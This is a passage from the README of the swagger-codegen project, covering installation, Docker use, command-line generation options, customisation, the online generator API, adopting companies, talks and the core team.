Stats](http://issuestats.com/github/swagger-api/swagger-codegen/badge/pr)](http://issuestats.com/github/swagger-api/swagger-codegen) [![Issue Stats](http://issuestats.com/github/swagger-api/swagger-codegen/badge/issue)](http://issuestats.com/github/swagger-api/swagger-codegen) :star::star::star: If you would like to contribute, please refer to [guidelines](https://github.com/swagger-api/swagger-codegen/blob/master/CONTRIBUTING.md) and a list of [open tasks](https://github.com/swagger-api/swagger-codegen/issues?q=is%3Aopen+is%3Aissue+label%3A%22Need+community+contribution%22).:star::star::star: :notebook_with_decorative_cover: For more information, please refer to the [Wiki page](https://github.com/swagger-api/swagger-codegen/wiki) and [FAQ](https://github.com/swagger-api/swagger-codegen/wiki/FAQ) :notebook_with_decorative_cover: :warning: If the OpenAPI/Swagger spec is obtained from an untrusted source, please make sure you've reviewed the spec before using Swagger Codegen to generate the API client, server stub or documentation as [code injection](https://en.wikipedia.org/wiki/Code_injection) may occur :warning: :rocket: ProductHunt: https://producthunt.com/posts/swagger-codegen :rocket: ## Overview This is the swagger codegen project, which allows generation of API client libraries (SDK generation), server stubs and documentation automatically given an [OpenAPI Spec](https://github.com/OAI/OpenAPI-Specification). Currently, the following languages/frameworks are supported: - **API clients**: **ActionScript**, **Apex**, **Bash**, **C#** (.net 2.0, 4.0 or later), **C++** (cpprest, Qt5, Tizen), **Clojure**, **Dart**, **Elixir**, **Go**, **Groovy**, **Haskell**, **Java** (Jersey1.x, Jersey2.x, OkHttp, Retrofit1.x, Retrofit2.x, Feign), **Kotlin**, **Node.js** (ES5, ES6, AngularJS with Google Closure Compiler annotations) **Objective-C**, **Perl**, **PHP**, **Python**, **Ruby**, **Scala**, **Swift** (2.x, 3.x), **Typescript** (Angular1.x, Angular2.x, Fetch, jQuery, Node) - **Server stubs**: **C#** (ASP.NET Core, NancyFx), **Erlang**, **Go**, **Haskell**, **Java** (MSF4J, Spring, Undertow, JAX-RS: CDI, CXF, Inflector, RestEasy), **PHP** (Lumen, Slim, Silex, [Zend Expressive](https://github.com/zendframework/zend-expressive)), **Python** (Flask), **NodeJS**, **Ruby** (Sinatra, Rails5), **Scala** ([Finch](https://github.com/finagle/finch), Scalatra) - **API documentation generators**: **HTML**, **Confluence Wiki** - **Others**: **JMeter** Check out [OpenAPI-Spec](https://github.com/OAI/OpenAPI-Specification) for additional information about the OpenAPI project. # Table of contents - [Swagger Code Generator](#swagger-code-generator) - [Overview](#overview) - [Table of Contents](#table-of-contents) - Installation - [Compatibility](#compatibility) - [Prerequisites](#prerequisites) - [OS X Users](#os-x-users) - [Building](#building) - [Docker](#docker) - [Build and run](#build-and-run-using-docker) - [Run docker in Vagrant](#run-docker-in-vagrant) - [Public Docker image](#public-docker-image) - [Homebrew](#homebrew) - [Getting Started](#getting-started) - Generators - [To generate a sample client library](#to-generate-a-sample-client-library) - [Generating libraries from your server](#generating-libraries-from-your-server) - [Modifying the client library format](#modifying-the-client-library-format) - [Making your own codegen modules](#making-your-own-codegen-modules) - [Where is Javascript???](#where-is-javascript) - [Generating a client from local files](#generating-a-client-from-local-files) - [Customizing the generator](#customizing-the-generator) - [Validating your OpenAPI Spec](#validating-your-openapi-spec) - [Generating dynamic html api documentation](#generating-dynamic-html-api-documentation) - [Generating static html api documentation](#generating-static-html-api-documentation) - [To build a server stub](#to-build-a-server-stub) - [To build the codegen library](#to-build-the-codegen-library) - [Workflow Integration](#workflow-integration) - [Github Integration](#github-integration) - [Online Generators](#online-generators) - [Guidelines for Contribution](https://github.com/swagger-api/swagger-codegen/wiki/Guidelines-for-Contribution) - [Companies/Projects using Swagger Codegen](#companiesprojects-using-swagger-codegen) - [Presentations/Videos/Tutorials/Books](#presentationsvideostutorialsbooks) - [Swagger Codegen Core Team](#swagger-codegen-core-team) - [Swagger Codegen Evangelist](#swagger-codegen-evangelist) - [License](#license) ## Compatibility The OpenAPI Specification has undergone 3 revisions since initial creation in 2010. The swagger-codegen project has the following compatibilities with the OpenAPI Specification: Swagger Codegen Version | Release Date | OpenAPI Spec compatibility | Notes -------------------------- | ------------ | -------------------------- | ----- 2.3.0 (upcoming minor release) | Apr/May 2017 | 1.0, 1.1, 1.2, 2.0 | Minor release with breaking changes 2.2.3 (upcoming patch release) | TBD | 1.0, 1.1, 1.2, 2.0 | Patch release without breaking changes [2.2.2](https://github.com/swagger-api/swagger-codegen/releases/tag/v2.2.2) (**current stable**) | 2017-03-01 | 1.0, 1.1, 1.2, 2.0 | [tag v2.2.2](https://github.com/swagger-api/swagger-codegen/tree/v2.2.2) [2.2.1](https://github.com/swagger-api/swagger-codegen/releases/tag/v2.2.1) | 2016-08-07 | 1.0, 1.1, 1.2, 2.0 | [tag v2.2.1](https://github.com/swagger-api/swagger-codegen/tree/v2.2.1) [2.1.6](https://github.com/swagger-api/swagger-codegen/releases/tag/v2.1.6) | 2016-04-06 | 1.0, 1.1, 1.2, 2.0 | [tag v2.1.6](https://github.com/swagger-api/swagger-codegen/tree/v2.1.6) 2.0.17 | 2014-08-22 | 1.1, 1.2 | [tag v2.0.17](https://github.com/swagger-api/swagger-codegen/tree/v2.0.17) 1.0.4 | 2012-04-12 | 1.0, 1.1 | [tag v1.0.4](https://github.com/swagger-api/swagger-codegen/tree/swagger-codegen_2.9.1-1.1) ### Prerequisites If you're looking for the latest stable version, you can grab it directly from Maven.org (Java 7 runtime at a minimum): ``` wget http://central.maven.org/maven2/io/swagger/swagger-codegen-cli/2.2.2/swagger-codegen-cli-2.2.2.jar -O swagger-codegen-cli.jar java -jar swagger-codegen-cli.jar help ``` On a mac, it's even easier with `brew`: ``` brew install swagger-codegen ``` To build from source, you need the following installed and available in your $PATH: * [Java 7 or 8](http://java.oracle.com) * [Apache maven 3.3.3 or greater](http://maven.apache.org/) #### OS X Users Don't forget to install Java 7 or 8. You probably have 1.6. Export JAVA_HOME in order to use the supported Java version: ``` export JAVA_HOME=`/usr/libexec/java_home -v 1.8` export PATH=${JAVA_HOME}/bin:$PATH ``` ### Building After cloning the project, you can build it from source with this command: ``` mvn clean package ``` ### Homebrew To install, run `brew install swagger-codegen` Here is an example usage: ``` swagger-codegen generate -i http://petstore.swagger.io/v2/swagger.json -l ruby -o /tmp/test/ ``` ### Docker #### Development in docker You can use `run-in-docker.sh` to do all development. This script maps your local repository to `/gen` in the docker container. It also maps `~/.m2/repository` to the appropriate container location. To execute `mvn package`: ``` git clone https://github.com/swagger-api/swagger-codegen cd swagger-codegen ./run-in-docker.sh mvn package ``` Build artifacts are now accessible in your working directory. Once built, `run-in-docker.sh` will act as an executable for swagger-codegen-cli. To generate code, you'll need to output to a directory under `/gen` (e.g. `/gen/out`). For example: ``` ./run-in-docker.sh help # Executes 'help' command for swagger-codegen-cli ./run-in-docker.sh langs # Executes 'langs' command for swagger-codegen-cli ./run-in-docker.sh /gen/bin/go-petstore.sh # Builds the Go client ./run-in-docker.sh generate -i modules/swagger-codegen/src/test/resources/2_0/petstore.yaml \ -l go -o /gen/out/go-petstore -DpackageName=petstore # generates go client, outputs locally to ./out/go-petstore ``` #### Run Docker in Vagrant Prerequisite: install [Vagrant](https://www.vagrantup.com/downloads.html) and [VirtualBox](https://www.virtualbox.org/wiki/Downloads). ``` git clone http://github.com/swagger-api/swagger-codegen.git cd swagger-codegen vagrant up vagrant ssh cd /vagrant ./run-in-docker.sh mvn package ``` #### Public Pre-built Docker images - https://hub.docker.com/r/swaggerapi/swagger-generator/ (official web service) - https://hub.docker.com/r/swaggerapi/swagger-codegen-cli/ (official CLI) ##### Swagger Generator Docker Image The Swagger Generator image can act as a self-hosted web application and API for generating code. This container can be incorporated into a CI pipeline, and requires at least two HTTP requests and some docker orchestration to access generated code. Example usage (note this assumes `jq` is installed for command line processing of JSON): ``` # Start container and save the container id CID=$(docker run -d swaggerapi/swagger-generator) # allow for startup sleep 5 # Get the IP of the running container GEN_IP=$(docker inspect --format '{{.NetworkSettings.IPAddress}}' $CID) # Execute an HTTP request and store the download link RESULT=$(curl -X POST --header 'Content-Type: application/json' --header 'Accept: application/json' -d '{ "swaggerUrl": "http://petstore.swagger.io/v2/swagger.json" }' 'http://localhost:8188/api/gen/clients/javascript' | jq '.link' | tr -d '"') # Download the generated zip and redirect to a file curl $RESULT > result.zip # Shutdown the swagger generator image docker stop $CID && docker rm $CID ``` In the example above, `result.zip` will contain the generated client. ##### Swagger Codegen CLI Docker Image The Swagger Codegen image acts as a standalone executable. It can be used as an alternative to installing via homebrew, or for developers who are unable to install Java or upgrade the installed version. To generate code with this image, you'll need to mount a local location as a volume. Example: ``` docker run --rm -v ${PWD}:/local swaggerapi/swagger-codegen-cli generate \ -i http://petstore.swagger.io/v2/swagger.json \ -l go \ -o /local/out/go ``` The generated code will be located under `./out/go` in the current directory. ## Getting Started To generate a PHP client for http://petstore.swagger.io/v2/swagger.json, please run the following ```sh git clone https://github.com/swagger-api/swagger-codegen cd swagger-codegen mvn clean package java -jar modules/swagger-codegen-cli/target/swagger-codegen-cli.jar generate \ -i http://petstore.swagger.io/v2/swagger.json \ -l php \ -o /var/tmp/php_api_client ``` (if you're on Windows, replace the last command with `java -jar modules\swagger-codegen-cli\target\swagger-codegen-cli.jar generate -i http://petstore.swagger.io/v2/swagger.json -l php -o c:\temp\php_api_client`) You can also download the JAR (latest release) directly from [maven.org](http://central.maven.org/maven2/io/swagger/swagger-codegen-cli/2.2.2/swagger-codegen-cli-2.2.2.jar) To get a list of **general** options available, please run `java -jar modules/swagger-codegen-cli/target/swagger-codegen-cli.jar help generate` To get a list of PHP specified options (which can be passed to the generator with a config file via the `-c` option), please run `java -jar modules/swagger-codegen-cli/target/swagger-codegen-cli.jar config-help -l php` ## Generators ### To generate a sample client library You can build a client against the swagger sample [petstore](http://petstore.swagger.io) API as follows: ``` ./bin/java-petstore.sh ``` (On Windows, run `.\bin\windows\java-petstore.bat` instead) This will run the generator with this command: ``` java -jar modules/swagger-codegen-cli/target/swagger-codegen-cli.jar generate \ -i http://petstore.swagger.io/v2/swagger.json \ -l java \ -o samples/client/petstore/java ``` with a number of options. You can get the options with the `help generate` command (below only shows partal results): ``` NAME swagger-codegen-cli generate - Generate code with chosen lang SYNOPSIS swagger-codegen-cli generate [(-a <authorization> | --auth <authorization>)] [--additional-properties <additional properties>] [--api-package <api package>] [--artifact-id <artifact id>] [--artifact-version <artifact version>] [(-c <configuration file> | --config <configuration file>)] [-D <system properties>] [--group-id <group id>] (-i <spec file> | --input-spec <spec file>) [--import-mappings <import mappings>] [--instantiation-types <instantiation types>] [--invoker-package <invoker package>] (-l <language> | --lang <language>) [--language-specific-primitives <language specific primitives>] [--library <library>] [--model-package <model package>] [(-o <output directory> | --output <output directory>)] [(-s | --skip-overwrite)] [(-t <template directory> | --template-dir <template directory>)] [--type-mappings <type mappings>] [(-v | --verbose)] OPTIONS -a <authorization>, --auth <authorization> adds authorization headers when fetching the swagger definitions remotely. Pass in a URL-encoded string of name:header with a comma separating multiple values ...... (results omitted) -v, --verbose verbose mode ``` You can then compile and run the client, as well as unit tests against it: ``` cd samples/client/petstore/java mvn package ``` Other languages have petstore samples, too: ``` ./bin/android-petstore.sh ./bin/java-petstore.sh ./bin/objc-petstore.sh ``` ### Generating libraries from your server It's just as easy--just use the `-i` flag to point to either a server or file. ### Modifying the client library format Don't like the default swagger client syntax? Want a different language supported? No problem! Swagger codegen processes mustache templates with the [jmustache](https://github.com/samskivert/jmustache) engine. You can modify our templates or make your own. You can look at `modules/swagger-codegen/src/main/resources/${your-language}` for examples. To make your own templates, create your own files and use the `-t` flag to specify your template folder. It actually is that easy. ### Making your own codegen modules If you're starting a project with a new language and don't see what you need, swagger-codegen can help you create a project to generate your own libraries: ``` java -jar modules/swagger-codegen-cli/target/swagger-codegen-cli.jar meta \ -o output/myLibrary -n myClientCodegen -p com.my.company.codegen ``` This will write, in the folder `output/myLibrary`, all the files you need to get started, including a README.md. Once modified and compiled, you can load your library with the codegen and generate clients with your own, custom-rolled logic. You would then compile your library in the `output/myLibrary` folder with `mvn package` and execute the codegen like such: ``` java -cp output/myLibrary/target/myClientCodegen-swagger-codegen-1.0.0.jar:modules/swagger-codegen-cli/target/swagger-codegen-cli.jar io.swagger.codegen.SwaggerCodegen ``` For Windows users, you will need to use `;` instead of `:` in the classpath, e.g. ``` java -cp output/myLibrary/target/myClientCodegen-swagger-codegen-1.0.0.jar;modules/swagger-codegen-cli/target/swagger-codegen-cli.jar io.swagger.codegen.SwaggerCodegen ``` Note the `myClientCodegen` is an option now, and you can use the usual arguments for generating your library: ``` java -cp output/myLibrary/target/myClientCodegen-swagger-codegen-1.0.0.jar:modules/swagger-codegen-cli/target/swagger-codegen-cli.jar \ io.swagger.codegen.SwaggerCodegen generate -l myClientCodegen\ -i http://petstore.swagger.io/v2/swagger.json \ -o myClient ``` ### Where is Javascript??? See our [javascript library](http://github.com/swagger-api/swagger-js)--it's completely dynamic and doesn't require static code generation. There is a third-party component called [swagger-js-codegen](https://github.com/wcandillon/swagger-js-codegen) that can generate angularjs or nodejs source code from a OpenAPI Specification. :exclamation: On Dec 7th 2015, a Javascript API client generator has been added by @jfiala. ### Generating a client from local files If you don't want to call your server, you can save the OpenAPI Spec files into a directory and pass an argument to the code generator like this: ``` -i ./modules/swagger-codegen/src/test/resources/2_0/petstore.json ``` Great for creating libraries on your ci server, from the [Swagger Editor](http://editor.swagger.io)... or while coding on an airplane. ### Selective generation You may not want to generate *all* models in your project. Likewise you may want just one or two apis to be written. If that's the case, you can use system properties to control the output: The default is generate *everything* supported by the specific library. Once you enable a feature, it will restrict the contents generated: ``` # generate only models java -Dmodels {opts} # generate only apis java -Dapis {opts} # generate only supporting files java -DsupportingFiles # generate models and supporting files java -Dmodels -DsupportingFiles ``` To control the specific files being generated, you can pass a CSV list of what you want: ``` # generate the User and Pet models only -Dmodels=User,Pet # generate the User model and the supportingFile `StringUtil.java`: -Dmodels=User -DsupportingFiles=StringUtil.java ``` To control generation of docs and tests for api and models, pass false to the option. For api, these options are `-DapiTests=false` and `-DapiDocs=false`. For models, `-DmodelTests=false` and `-DmodelDocs=false`. These options default to true and don't limit the generation of the feature options listed above (like `-Dapi`): ``` # generate only models (with tests and documentation) java -Dmodels {opts} # generate only models (with tests but no documentation) java -Dmodels -DmodelDocs=false {opts} # generate only User and Pet models (no tests and no documentation) java -Dmodels=User,Pet -DmodelTests=false {opts} # generate only apis (without tests) java -Dapis -DapiTests=false {opts} # generate only apis (modelTests option is ignored) java -Dapis -DmodelTests=false {opts} ``` When using selective generation, _only_ the templates needed for the specific generation will be used. ### Ignore file format Swagger codegen supports a `.swagger-codegen-ignore` file, similar to `.gitignore` or `.dockerignore` you're probably already familiar with. The ignore file allows for better control over overwriting existing files than the `--skip-overwrite` flag. With the ignore file, you can specify individual files or directories can be ignored. This can be useful, for example if you only want a subset of the generated code. Examples: ``` # Swagger Codegen Ignore # Lines beginning with a # are comments # This should match build.sh located anywhere. build.sh # Matches build.sh in the root /build.sh # Exclude all recursively docs/** # Explicitly allow files excluded by other rules !docs/UserApi.md # Recursively exclude directories named Api # You can't negate files below this directory. src/**/Api/ # When this file is nested under /Api (excluded above), # this rule is ignored because parent directory is excluded by previous rule. !src/**/PetApiTests.cs # Exclude a single, nested file explicitly src/IO.Swagger.Test/Model/AnimalFarmTests.cs ``` The `.swagger-codegen-ignore` file must exist in the root of the output directory. ### Customizing the generator There are different aspects of customizing the code generator beyond just creating or modifying templates. Each language has a supporting configuration file to handle different type mappings, etc: ``` $ ls -1 modules/swagger-codegen/src/main/java/io/swagger/codegen/languages/ AbstractJavaJAXRSServerCodegen.java AbstractTypeScriptClientCodegen.java ... (results omitted) TypeScriptAngularClientCodegen.java TypeScriptNodeClientCodegen.java ``` Each of these files creates reasonable defaults so you can get running quickly. But if you want to configure package names, prefixes, model folders, etc. you can use a json config file to pass the values. ``` java -jar modules/swagger-codegen-cli/target/swagger-codegen-cli.jar generate \ -i http://petstore.swagger.io/v2/swagger.json \ -l java \ -o samples/client/petstore/java \ -c path/to/config.json ``` and `config.json` contains the following as an example: ``` { "apiPackage" : "petstore" } ``` Supported config options can be different per language. Running `config-help -l {lang}` will show available options. **These options are applied via configuration file (e.g. config.json) or by passing them with `-D{optionName}={optionValue}`**. (If `-D{optionName}` does not work, please open a [ticket](https://github.com/swagger-api/swagger-codegen/issues/new) and we'll look into it) ``` java -jar modules/swagger-codegen-cli/target/swagger-codegen-cli.jar config-help -l java ``` Output ``` CONFIG OPTIONS modelPackage package for generated models apiPackage package for generated api classes ...... (results omitted) library library template (sub-template) to use: jersey1 - HTTP client: Jersey client 1.18. JSON processing: Jackson 2.4.2 jersey2 - HTTP client: Jersey client 2.6 feign - HTTP client: Netflix Feign 8.1.1. JSON processing: Jackson 2.6.3 okhttp-gson (default) - HTTP client: OkHttp 2.4.0. JSON processing: Gson 2.3.1 retrofit - HTTP client: OkHttp 2.4.0. JSON processing: Gson 2.3.1 (Retrofit 1.9.0) retrofit2 - HTTP client: OkHttp 2.5.0. JSON processing: Gson 2.4 (Retrofit 2.0.0-beta2) ``` Your config file for Java can look like ```json { "groupId":"com.my.company", "artifactId":"MyClient", "artifactVersion":"1.2.0", "library":"feign" } ``` For all the unspecified options default values will be used. Another way to override default options is to extend the config class for the specific language. To change, for example, the prefix for the Objective-C generated files, simply subclass the ObjcClientCodegen.java: ```java package com.mycompany.swagger.codegen; import io.swagger.codegen.languages.*; public class MyObjcCodegen extends ObjcClientCodegen { static { PREFIX = "HELO"; } } ``` and specify the `classname` when running the generator: ``` -l com.mycompany.swagger.codegen.MyObjcCodegen ``` Your subclass will now be loaded and overrides the `PREFIX` value in the superclass. ### Bringing your own models Sometimes you don't want a model generated. In this case, you can simply specify an import mapping to tell the codegen what _not_ to create. When doing this, every location that references a specific model will refer back to your classes. Note, this may not apply to all languages... To specify an import mapping, use the `--import-mappings` argument and specify the model-to-import logic as such: ``` --import-mappings Pet=my.models.MyPet ``` Or for multiple mappings: ``` Pet=my.models.MyPet,Order=my.models.MyOrder ``` ### Validating your OpenAPI Spec You have options. The easiest is to use our [online validator](https://github.com/swagger-api/validator-badge) which not only will let you validate your spec, but with the debug flag, you can see what's wrong with your spec. For example: http://online.swagger.io/validator/debug?url=http://petstore.swagger.io/v2/swagger.json ### Generating dynamic html api documentation To do so, just use the `-l dynamic-html` flag when reading a spec file. This creates HTML documentation that is available as a single-page application with AJAX. To view the documentation: ``` cd samples/dynamic-html/ npm install node . ``` Which launches a node.js server so the AJAX calls have a place to go. ### Generating static html api documentation To do so, just use the `-l html` flag when reading a spec file. This creates a single, simple HTML file with embedded css so you can ship it as an email attachment, or load it from your filesystem: ``` cd samples/html/ open index.html ``` ### To build a server stub Please refer to https://github.com/swagger-api/swagger-codegen/wiki/Server-stub-generator-HOWTO for more information. ### To build the codegen library This will create the swagger-codegen library from source. ``` mvn package ``` Note! The templates are included in the library generated. If you want to modify the templates, you'll need to either repackage the library OR specify a path to your scripts ## Workflow integration You can use the [swagger-codegen-maven-plugin](modules/swagger-codegen-maven-plugin/README.md) for integrating with your workflow, and generating any codegen target. ## GitHub Integration To push the auto-generated SDK to GitHub, we provide `git_push.sh` to streamline the process. For example: 1) Create a new repository in GitHub (Ref: https://help.github.com/articles/creating-a-new-repository/) 2) Generate the SDK ``` java -jar modules/swagger-codegen-cli/target/swagger-codegen-cli.jar generate \ -i modules/swagger-codegen/src/test/resources/2_0/petstore.json -l perl \ --git-user-id "wing328" \ --git-repo-id "petstore-perl" \ --release-note "Github integration demo" \ -o /var/tmp/perl/petstore ``` 3) Push the SDK to GitHub ``` cd /var/tmp/perl/petstore /bin/sh ./git_push.sh ``` ## Online generators One can also generate API client or server using the online generators (https://generator.swagger.io) For example, to generate Ruby API client, simply send the following HTTP request using curl: ``` curl -X POST -H "content-type:application/json" -d '{"swaggerUrl":"http://petstore.swagger.io/v2/swagger.json"}' https://generator.swagger.io/api/gen/clients/ruby ``` Then you will receieve a JSON response with the URL to download the zipped code. To customize the SDK, you can `POST` to `https://generator.swagger.io/gen/clients/{language}` with the following HTTP body: ``` { "options": {}, "swaggerUrl": "http://petstore.swagger.io/v2/swagger.json" } ``` in which the `options` for a language can be obtained by submitting a `GET` request to `https://generator.swagger.io/api/gen/clients/{language}`: For example, `curl https://generator.swagger.io/api/gen/clients/python` returns ``` { "packageName":{ "opt":"packageName", "description":"python package name (convention: snake_case).", "type":"string", "default":"swagger_client" }, "packageVersion":{ "opt":"packageVersion", "description":"python package version.", "type":"string", "default":"1.0.0" }, "sortParamsByRequiredFlag":{ "opt":"sortParamsByRequiredFlag", "description":"Sort method arguments to place required parameters before optional parameters.", "type":"boolean", "default":"true" } } ``` To set package name to `pet_store`, the HTTP body of the request is as follows: ``` { "options": { "packageName": "pet_store" }, "swaggerUrl": "http://petstore.swagger.io/v2/swagger.json" } ``` and here is the curl command: ``` curl -H "Content-type: application/json" -X POST -d '{"options": {"packageName": "pet_store"},"swaggerUrl": "http://petstore.swagger.io/v2/swagger.json"}' https://generator.swagger.io/api/gen/clients/python ``` Instead of using `swaggerUrl` with an URL to the OpenAPI/Swagger spec, one can include the spec in the JSON payload with `spec`, e.g. ``` { "options": {}, "spec": { "swagger": "2.0", "info": { "version": "1.0.0", "title": "Test API" }, ... } } ``` Guidelines for Contribution --------------------------- Please refer to this [page](https://github.com/swagger-api/swagger-codegen/blob/master/CONTRIBUTING.md) Companies/Projects using Swagger Codegen ---------------------------------------- Here are some companies/projects using Swagger Codegen in production. To add your company/project to the list, please visit [README.md](https://github.com/swagger-api/swagger-codegen/blob/master/README.md) and click on the icon to edit the page. - [Activehours](https://www.activehours.com/) - [Acunetix](https://www.acunetix.com/) - [Atlassian](https://www.atlassian.com/) - [Autodesk](http://www.autodesk.com/) - [Avenida Compras S.A.](https://www.avenida.com.ar) - [AYLIEN](http://aylien.com/) - [Balance Internet](https://www.balanceinternet.com.au/) - [beemo](http://www.beemo.eu) - [bitly](https://bitly.com) - [Box](https://box.com) - [Bufferfly Network](https://www.butterflynetinc.com/) - [Cachet Financial](http://www.cachetfinancial.com/) - [carpolo](http://www.carpolo.co/) - [CloudBoost](https://www.CloudBoost.io/) - [Cisco](http://www.cisco.com/) - [Conplement](http://www.conplement.de/) - [Cummins](http://www.cummins.com/) - [Cupix](http://www.cupix.com) - [DBBest Technologies](https://www.dbbest.com) - [DecentFoX](http://decentfox.com/) - [DocRaptor](https://docraptor.com) - [DocuSign](https://www.docusign.com) - [Ergon](http://www.ergon.ch/) - [Dell EMC](https://www.emc.com/) - [eureka](http://eure.jp/) - [everystory.us](http://everystory.us) - [Expected Behavior](http://www.expectedbehavior.com/) - [Fastly](https://www.fastly.com/) - [Flat](https://flat.io) - [Finder](http://en.finder.pl/) - [FH Münster - University of Applied Sciences](http://www.fh-muenster.de) - [Fotition](https://www.fotition.com/) - [Gear Zero Network](https://www.gearzero.ca) - [Germin8](http://www.germin8.com) - [GigaSpaces](http://www.gigaspaces.com) - [goTransverse](http://www.gotransverse.com/api) - [GraphHopper](https://graphhopper.com/) - [Gravitate Solutions](http://gravitatesolutions.com/) - [HashData](http://www.hashdata.cn/) - [Hewlett Packard Enterprise](https://hpe.com) - [High Technologies Center](http://htc-cs.com) - [IBM](https://www.ibm.com) - [IMS Health](http://www.imshealth.com/en/solution-areas/technology-and-applications) - [Individual Standard IVS](http://www.individual-standard.com) - [Intent HQ](http://www.intenthq.com) - [Interactive Intelligence](http://developer.mypurecloud.com/) - [Kabuku](http://www.kabuku.co.jp/en) - [Kurio](https://kurio.co.id) - [Kuroi](http://kuroiwebdesign.com/) - [Kuary](https://kuary.com/) - [Kubernetes](https://kubernetes.io/) - [LANDR Audio](https://www.landr.com/) - [Lascaux](http://www.lascaux.it/) - [Leica Geosystems AG](http://leica-geosystems.com) - [LiveAgent](https://www.ladesk.com/) - [LXL Tech](http://lxltech.com) - [Lyft](https://www.lyft.com/developers) - [MailMojo](https://mailmojo.no/) - [Mindera](http://mindera.com/) - [Mporium](http://mporium.com/) - [Neverfail](https://neverfail.com/) - [nViso](http://www.nviso.ch/) - [Okiok](https://www.okiok.com) - [Onedata](http://onedata.org) - [OrderCloud.io](http://ordercloud.io) - [OSDN](https://osdn.jp) - [PagerDuty](https://www.pagerduty.com) - [PagerTree](https://pagertree.com) - [Pepipost](https://www.pepipost.com) - [Plexxi](http://www.plexxi.com) - [Pixoneye](http://www.pixoneye.com/) - [PostAffiliatePro](https://www.postaffiliatepro.com/) - [PracticeBird](https://www.practicebird.com/) - [Prill Tecnologia](http://www.prill.com.br) - [QAdept](http://qadept.com/) - [QuantiModo](https://quantimo.do/) - [QuickBlox](https://quickblox.com/) - [Rapid7](https://rapid7.com/) - [Reload! A/S](https://reload.dk/) - [REstore](https://www.restore.eu) - [Revault Sàrl](http://revault.ch) - [Riffyn](https://riffyn.com) - [Royal Bank of Canada (RBC)](http://www.rbc.com/canada.html) - [Saritasa](https://www.saritasa.com/) - [SAS](https://www.sas.com) - [SCOOP Software GmbH](http://www.scoop-software.de) - [Shine Solutions](https://shinesolutions.com/) - [Simpfony](https://www.simpfony.com/) - [Skurt](http://www.skurt.com) - [Slamby](https://www.slamby.com/) - [SmartRecruiters](https://www.smartrecruiters.com/) - [snapCX](https://snapcx.io) - [SPINEN](http://www.spinen.com) - [SRC](https://www.src.si/) - [Stardog Ventures](https://www.stardog.io) - [Stingray](http://www.stingray.com) - [StyleRecipe](http://stylerecipe.co.jp) - [Svenska Spel AB](https://www.svenskaspel.se/) - [Switch Database](https://www.switchdatabase.com/) - [TaskData](http://www.taskdata.com/) - [ThoughtWorks](https://www.thoughtworks.com) - [Trexle](https://trexle.com/) - [Upwork](http://upwork.com/) - [uShip](https://www.uship.com/) - [VMware](https://vmware.com/) - [W.UP](http://wup.hu/?siteLang=en) - [Wealthfront](https://www.wealthfront.com/) - [Webever GmbH](https://www.webever.de/) - [WEXO A/S](https://www.wexo.dk/) - [XSky](http://www.xsky.com/) - [Yelp](http://www.yelp.com/) - [Zalando](https://tech.zalando.com) - [ZEEF.com](https://zeef.com/) Presentations/Videos/Tutorials/Books ---------------------------------------- - 2015/07/28 - [Enriching RESTful Services with Swagger](https://blog.philipphauer.de/enriching-restful-services-swagger/) by [Philipp Hauer](https://blog.philipphauer.de/) - 2015/11/11 - [Generate client stubs & document your REST-API using Swagger & Spring](https://www.youtube.com/watch?v=43GhBbP--oI) by [Johannes Fiala](https://github.com/jfiala) @ Devoxx Belgium 2015 - 2015/12/03 - [こんなに簡単! Swagger Codegenのカスタマイズ](http://qiita.com/Quramy/items/c583f3213f0b77ff1bac) by [Quramy](http://qiita.com/Quramy) - 2016/01/12 - [Generate client side code using Swagger Codegen](http://rnavagamuwa.com/open-source/generate-client-side-code-using-swagger-codegen/) by [RNAVAGAMUWA](http://rnavagamuwa.com/author/admin/) - 2016/01/15 - [How to end manual REST-API client coding](https://www.youtube.com/watch?v=RzZRdqZp6Oo) by [Johannes Fiala](https://github.com/jfiala) @ dotJS 2015 - 2016/04/27 - [Automated REST API Development](https://yos.io/2016/04/27/automated-api-development/) by [Yos Riady](https://www.linkedin.com/in/yosriady) - 2016/05/29 - [Generating Java Spring-MVC code from Swagger Spec](https://www.clianz.com/2016/05/29/java-mvc-swagger-gen/) by [@icha024](https://github.com/icha024) - 2016/11/05 - [How to generate a REST Application](https://www.youtube.com/watch?v=iyC9BWMe75Q) by [Johannes Fiala](https://github.com/jfiala) @ DevFest Vienna 2016 - 2016/11/10 - [Building an AEM API clients ecosystem](http://blog.cliffano.com/2016/11/10/adobe-marketing-cloud-community-expo/) by Cliffano Subagio, Michael Diender, Stephen Shim from Shine Solutions @ [Adobe Marketing Cloud Community Expo (AMCCE)](https://www.meetup.com/Melbourne-AEM-CQ-Meetup/events/233363101/) - 2016/11/18 - [How to generate a REST CXF3 application from Swagger-Contract](https://www.slideshare.net/johannes_fiala/how-to-generate-a-rest-cxf3-application-from-swagger-apacheconeu-2016) by [Johannes Fiala](https://github.com/jfiala) @ ApacheConEU 2016 - 2016/11/25 - [Swagger Codegen for Swift3 and NodeJS](https://normand1.github.io/blog/swift/swagger/codegen/2016/11/25/Swagger-Codegen-for-Swift3-and-NodeJS.html) by [David Norman](https://github.com/normand1) - 2017/03/03 - [Swagger Codegen の使い方の簡単な説明です](https://speakerdeck.com/wagyu298/swagger-codegen) by [wagyu298](https://github.com/wagyu298) - 2017/03/24 - [Using Open API Specification To Put Lyft SDK Support in the Fast Lane](https://medium.com/lyft-developer-platform/using-open-api-specification-to-put-lyft-sdk-support-in-the-fast-lane-7b623218e4ee) by [Val Polouchkine](https://github.com/vpolouchkine) - 2017/04/27 - [Swagger Codegen のPHP実装があまりにアレだったので、ライブラリ自作して公開してみた](http://qiita.com/imunew/items/2e9c472e0097e329f2cd) by [imunew](http://qiita.com/imunew) - 2017/05/17 - [Diseño de APIs con OpenAPI](https://www.slideshare.net/pjmolina/diseo-de-apis-con-openapi) by [Pedro J. Molina](https://github.com/pjmolina) @ [JSDayES 2017](http://2017.jsday.es/) - 2017/05/22 - [Presentation of the Vert.x-Swagger project](http://vertx.io/blog/presentation-of-the-vert-x-swagger-project/) by [@phiz71](http://github.com/phiz71) # Swagger Codegen Core Team Swagger Codegen core team members are contributors who have been making significant contributions (review issues, fix bugs, make enhancements, etc) to the project on a regular basis. ## API Clients | Languages | Core Team (join date) | |:-------------|:-------------| | ActionScript | | | C++ | | | C# | @jimschubert (2016/05/01) | | | Clojure | @xhh (2016/05/01) | | Dart | | | Groovy | | | Go | @guohuang (2016/05/01) @neilotoole (2016/05/01) | | Java | @cbornet (2016/05/01) @xhh (2016/05/01) @epaul (2016/06/04) | | Java (Spring Cloud) | @cbornet (2016/07/19) | | NodeJS/Javascript | @xhh (2016/05/01) 